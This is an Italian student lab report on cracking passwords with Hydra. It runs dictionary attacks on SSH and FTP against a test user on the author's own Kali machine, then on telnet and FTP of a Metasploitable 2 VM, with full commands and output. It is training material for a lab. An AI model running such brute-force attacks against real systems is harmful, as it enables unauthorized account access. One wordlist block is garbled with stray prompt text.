

Report Authentication cracking con Hydra W14D4

In questo esercizio andremo ad effettuare il cracking delle password tramite Hydra.

Step 1 Creiamo un nuovo user su Kali Linux con username: test_user e password: testpass.

```
(kali㉿kali)-[~]
$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

Step 2 Abilitiamo il servizio SSH per l'user test_user e aggiungiamo l'IP di Kali tra gli IP trusted dal servizio.

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.32.100
The authenticity of host '192.168.32.100 (192.168.32.100)' can't be established.
ED25519 key fingerprint is SHA256:Yg77fo0iqizeCHXNdqULdISlZA/4e+xAQvVIR++g+uQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.100' (ED25519) to the list of known hosts.
test_user@192.168.32.100's password:
Linux kali 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Step 3 Avviamo il servizio SSH tramite il comando sudo service ssh start.

```
(kali㉿kali)-[~]
$ sudo service ssh start
[sudo] password for kali:
```

Step 4 Mediante il comando `wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip && unzip SecList.zip && rm -f SecList.zip` scarichiamo Seclist e lo unzippiamo automaticamente.

Seclist contiene liste di username e password comuni che potremo passare ad Hydra ed utilizzarle per il password cracking.

N:B.: Kali dovrà essere in bridged con DHCP per poter eseguire il download.

Step 5 Individuiamo due liste, una per gli username e una per le password da poter utilizzare. Nel mio caso ho scelto la lista `top-usernames-shortlist.txt` ed ho aggiunto l'username `test_user` per avere un esito positivo. Per la password ho creato una lista personalizzata che conteneva anche la password assegnata a `test_user`, cioè: `testpass`.

È bene notare che la password `testpass` era già contenuta nella lista `Most-Popular-Letter-Passes.txt` di Seclist, ma vista la mole di password contenute nel file, si è preferito crearne uno ad hoc più ristretto.

```
GNU nano 8.4
root
admin
test_user
test_password
guest
info: new password:
info: password updated successfully
admin: the user information for
mysql the new value, or press ENTER
user Full Name []:
administrator number []:
oracle work Phone []:
ftp Home Phone []:
pi Other []:
puppet information correct? [Y/n]
ansible
ec2-user
vagrant /etc/ssh/ssh_config
azureuser
test_user
test_user@192.168.32.100
```

```
(kali@kali)-[~/SecLists-master/Passwords]
$ cat PasswordsSARA
ciao
Zelda
Majora
BOTW
saramanini
link
testpass
```

Step 6 Tramite il comando `hydra -V -L ~/SecLists-master/Usernames/top-usernames-shortlist.txt -P ~/SecLists-master/Passwords/PasswordsSARA 192.168.32.100 -t1 ssh` iniziamo il password cracking.

La sintassi del comando è la seguente:

- `-V`: verbose, stampa a schermo ogni tentativo di combinazione username e password che effettua;
- `-L <file.txt path>`: passiamo ad Hydra un file.txt di username da provare con relativo path del file;
- `-P <file.txt path>`: passiamo ad Hydra un file.txt di password da provare con relativo path del file;
- `<IP macchina>`: IP della macchina a cui verrà diretto l'attacco a dizionario;
- `-t1`: numero thread da utilizzare, in questo caso è uguale ad uno;
- `<servizio>`: servizio su cui viene effettuato il password cracking.

Come possiamo vedere dallo screenshot sottostante, l'attacco è andato a buon fine.

```
(kali@kali)-[~/SecLists-master/Passwords]
$ hydra -V -L ~/SecLists-master/Usernames/top-usernames-shortlist.txt -P ~/SecLists-master/Passwords/PasswordsSARA 192.168.32.100 -t1 ssh

[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "Majora" - 122 of 126 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "BOTW" - 123 of 126 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "saramanini" - 124 of 126 [child 0] (0/0)
[STATUS] 17.71 tries/min, 124 tries in 00:07h, 2 to do in 00:01h, 1 active
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "link" - 125 of 126 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "testpass" - 126 of 126 [child 0] (0/0)
[22][ssh] host: 192.168.32.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 07:41:14
```

Step 7 Ripetere l'operazione per il servizio ftp, per prima cosa scarichiamo il servizio tramite il comando `sudo apt install vsftpd`.

N:B.: Kali dovrà essere in bridged con DHCP per poter eseguire il download.

Step 8 Avviare il servizio con il comando `sudo service vsftpd start`.

Step 9 Ripetere il comando visto in precedenza, ma sostituire il servizio con ftp. Come prima avremo un esito positivo.

```
(kali@kali)-[~/SecLists-master/Passwords]
$ hydra -V -L ~/SecLists-master/Usernames/top-usernames-shortlist.txt -P ~/SecLists-master/Passwords/PasswordsSARA 192.168.32.100 -t1 ftp

[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "BOTW" - 123 of 126 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "saramanini" - 124 of 126 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "link" - 125 of 126 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "testpass" - 126 of 126 [child 0] (0/0)
[21][ftp] host: 192.168.32.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 07:49:28
```

Facoltativo

Eeguire il cracking delle password tramite un servizio a scelta di Metasploitable 2.

Step 1 Mettere entrambe le macchine (Kali e Metasploitable 2) su rete interna ed assicurarsi che possano comunicare tramite ping.

Step 2 Creare due file user e password, contenenti le credenziali di accesso di Metasploitable 2.

```
(kali@kali)-[~/Desktop]
$ cat Common_passwords
ciao
Zelda
msfadmin
Sara

(kali@kali)-[~/Desktop]
$ cat Common_usernames
Sara
Link
msfadmin
```

Step 3 Mediante il comando `hydra -V -L ~/Desktop/Common_usernames -P ~/Desktop/Common_passwords 192.168.32.101 telnet`, inizieremo il password cracking sul servizio telnet.

Come possiamo notare, avremo esito positivo.

```
(kali@kali)-[~/Desktop]
$ hydra -V -L ~/Desktop/Common_usernames -P ~/Desktop/Common_passwords 192.168.32.101 telnet
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for i
llegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 08:43:15
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:3/p:4), ~1 try per task
[DATA] attacking telnet://192.168.32.101:23/
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "ciao" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "Zelda" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "msfadmin" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "Sara" - 4 of 12 [child 3] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "ciao" - 5 of 12 [child 4] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "Zelda" - 6 of 12 [child 5] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "msfadmin" - 7 of 12 [child 6] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "Sara" - 8 of 12 [child 7] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "ciao" - 9 of 12 [child 8] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "Zelda" - 10 of 12 [child 9] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "msfadmin" - 11 of 12 [child 10] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "Sara" - 12 of 12 [child 11] (0/0)
[23][telnet] host: 192.168.32.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 08:43:29
```


Step 4 Proviamo il medesimo comando su un diverso servizio, ad esempio ftp.

```
(kali㉿kali)-[~/Desktop]
$ hydra -V -L ~/Desktop/Common_usernames -P ~/Desktop/Common_passwords 192.168.32.101 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for i
llegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 08:44:06
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:3/p:4), ~1 try per task
[DATA] attacking ftp://192.168.32.101:21/
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "ciao" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "Zelda" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "msfadmin" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Sara" - pass "Sara" - 4 of 12 [child 3] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "ciao" - 5 of 12 [child 4] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "Zelda" - 6 of 12 [child 5] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "msfadmin" - 7 of 12 [child 6] (0/0)
[ATTEMPT] target 192.168.32.101 - login "Link" - pass "Sara" - 8 of 12 [child 7] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "ciao" - 9 of 12 [child 8] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "Zelda" - 10 of 12 [child 9] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "msfadmin" - 11 of 12 [child 10] (0/0)
[ATTEMPT] target 192.168.32.101 - login "msfadmin" - pass "Sara" - 12 of 12 [child 11] (0/0)
[21][ftp] host: 192.168.32.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 08:44:10
```